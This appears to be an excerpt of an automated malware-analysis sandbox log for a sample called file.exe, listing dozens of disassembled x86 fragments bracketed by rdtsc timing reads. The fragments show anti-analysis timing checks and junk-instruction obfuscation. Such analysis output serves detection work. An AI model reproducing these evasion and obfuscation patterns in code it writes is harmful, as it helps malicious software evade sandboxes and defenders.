Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75EA5E second address: 75EA64 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766B1D second address: 766B2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jg 00007FCA94C93E36h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 766B2A second address: 766B47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FCA94618476h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70E260 second address: 70E2AB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FCA94C93E3Dh 0x0000000b jmp 00007FCA94C93E40h 0x00000010 popad 0x00000011 js 00007FCA94C93E62h 0x00000017 push edi 0x00000018 jg 00007FCA94C93E36h 0x0000001e jmp 00007FCA94C93E46h 0x00000023 pop edi 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769FFD second address: 76A008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FCA94618466h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A1B2 second address: 76A1DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FCA94C93E36h 0x0000000a jmp 00007FCA94C93E49h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A1DC second address: 76A1E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A360 second address: 76A365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A4E9 second address: 76A4EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A4EF second address: 76A500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 ja 00007FCA94C93E3Ah 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A500 second address: 76A51F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA9461846Eh 0x00000007 push edx 0x00000008 jnc 00007FCA94618466h 0x0000000e pop edx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A51F second address: 76A523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76A523 second address: 76A527 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771F3F second address: 771F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771F43 second address: 771F60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a jmp 00007FCA9461846Fh 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771F60 second address: 771F70 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77204D second address: 772052 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772052 second address: 772076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FCA94C93E47h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772076 second address: 772093 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94618471h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007FCA94618466h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 772093 second address: 7720A3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7720A3 second address: 7720A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7720A7 second address: 7720AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7720AB second address: 7720D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007FCA94618473h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 jo 00007FCA94618470h 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77582D second address: 77584A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FCA94C93E44h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775FBE second address: 775FC3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776127 second address: 77612B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776391 second address: 776395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 776395 second address: 7763AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94C93E3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007FCA94C93E38h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BE24 second address: 77BE33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA9461846Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BE33 second address: 77BE87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007FCA94C93E3Fh 0x0000000c push esi 0x0000000d pop esi 0x0000000e pop ebx 0x0000000f jo 00007FCA94C93E83h 0x00000015 pushad 0x00000016 jc 00007FCA94C93E36h 0x0000001c jno 00007FCA94C93E36h 0x00000022 jmp 00007FCA94C93E3Dh 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FCA94C93E46h 0x0000002f push esi 0x00000030 pop esi 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705C5F second address: 705C64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705C64 second address: 705C72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnp 00007FCA94C93E36h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 705C72 second address: 705C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jbe 00007FCA94618466h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AEDF second address: 77AEE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AEE7 second address: 77AEEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AEEB second address: 77AEF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AEF4 second address: 77AEFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77AEFF second address: 77AF03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77B2DC second address: 77B2E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77B2E2 second address: 77B2E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77B2E8 second address: 77B2EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77A987 second address: 77A990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77B5B7 second address: 77B5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77B5BB second address: 77B5C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jnl 00007FCA94C93E36h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BB5B second address: 77BB65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BB65 second address: 77BB7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FCA94C93E36h 0x0000000a jbe 00007FCA94C93E36h 0x00000010 jp 00007FCA94C93E36h 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77BB7F second address: 77BB92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA9461846Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78431C second address: 784323 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70272C second address: 702730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702730 second address: 702734 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 702734 second address: 70273A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70273A second address: 70274A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jo 00007FCA94C93E36h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70274A second address: 702754 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCA94618466h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78318C second address: 783196 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FCA94C93E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783196 second address: 7831A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FCA94618466h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7831A6 second address: 7831AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783587 second address: 78358D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78358D second address: 7835A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jl 00007FCA94C93E42h 0x0000000b jo 00007FCA94C93E36h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783854 second address: 78386B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FCA9461846Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D6BD second address: 72D6C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7841A2 second address: 7841A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7841A6 second address: 7841B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FCA94C93E3Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782BC6 second address: 782BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 782BCB second address: 782BD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78713A second address: 787154 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FCA94618472h 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B57F second address: 78B58E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCA94C93E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A3D2 second address: 78A3DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A3DA second address: 78A3E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7459ED second address: 72CB58 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 and cx, BE19h 0x0000000e call dword ptr [ebp+122D57EEh] 0x00000014 jmp 00007FCA9461846Ch 0x00000019 push esi 0x0000001a pushad 0x0000001b push edx 0x0000001c pop edx 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745A92 second address: 745A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745E24 second address: 745E47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FCA94618476h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745E47 second address: 745E51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FCA94C93E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74623D second address: 746252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FCA9461846Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7463E3 second address: 746444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jl 00007FCA94C93E4Ch 0x0000000b popad 0x0000000c nop 0x0000000d mov edx, dword ptr [ebp+122D394Ch] 0x00000013 push 00000004h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007FCA94C93E38h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f pushad 0x00000030 add edx, dword ptr [ebp+122D19F9h] 0x00000036 mov di, AD06h 0x0000003a popad 0x0000003b nop 0x0000003c push edi 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7467A5 second address: 7467AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7467AA second address: 7467FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ebx 0x0000000d call 00007FCA94C93E38h 0x00000012 pop ebx 0x00000013 mov dword ptr [esp+04h], ebx 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc ebx 0x00000020 push ebx 0x00000021 ret 0x00000022 pop ebx 0x00000023 ret 0x00000024 mov edi, ecx 0x00000026 sub dword ptr [ebp+122D57A7h], ebx 0x0000002c push 0000001Eh 0x0000002e mov edi, esi 0x00000030 nop 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FCA94C93E49h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74693F second address: 746943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746943 second address: 746949 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746B76 second address: 746C17 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FCA94618474h 0x0000000c jmp 00007FCA9461846Eh 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 jmp 00007FCA94618478h 0x0000001a lea eax, dword ptr [ebp+124776F4h] 0x00000020 and cl, FFFFFFE0h 0x00000023 push eax 0x00000024 pushad 0x00000025 jmp 00007FCA9461846Ah 0x0000002a push ebx 0x0000002b jmp 00007FCA9461846Dh 0x00000030 pop ebx 0x00000031 popad 0x00000032 mov dword ptr [esp], eax 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007FCA94618468h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 0000001Bh 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f jmp 00007FCA94618472h 0x00000054 lea eax, dword ptr [ebp+124776B0h] 0x0000005a movsx ecx, si 0x0000005d push eax 0x0000005e push ecx 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 746C17 second address: 72D6BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007FCA94C93E38h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Ah 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 xor dword ptr [ebp+122D17BCh], ebx 0x00000029 call dword ptr [ebp+122D1B32h] 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007FCA94C93E45h 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a pushad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A87C second address: 78A893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA94618473h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78A893 second address: 78A89B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78ABD2 second address: 78ABD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78ABD9 second address: 78ABE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FCA94C93E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B14E second address: 78B158 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78B158 second address: 78B170 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCA94C93E44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78F296 second address: 78F2A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FCA94618466h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78F2A0 second address: 78F2A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78EE34 second address: 78EE47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA9461846Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78EE47 second address: 78EE51 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FCA94C93E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78EF7F second address: 78EFBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCA94618477h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FCA94618479h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push edx 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78EFBA second address: 78EFBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
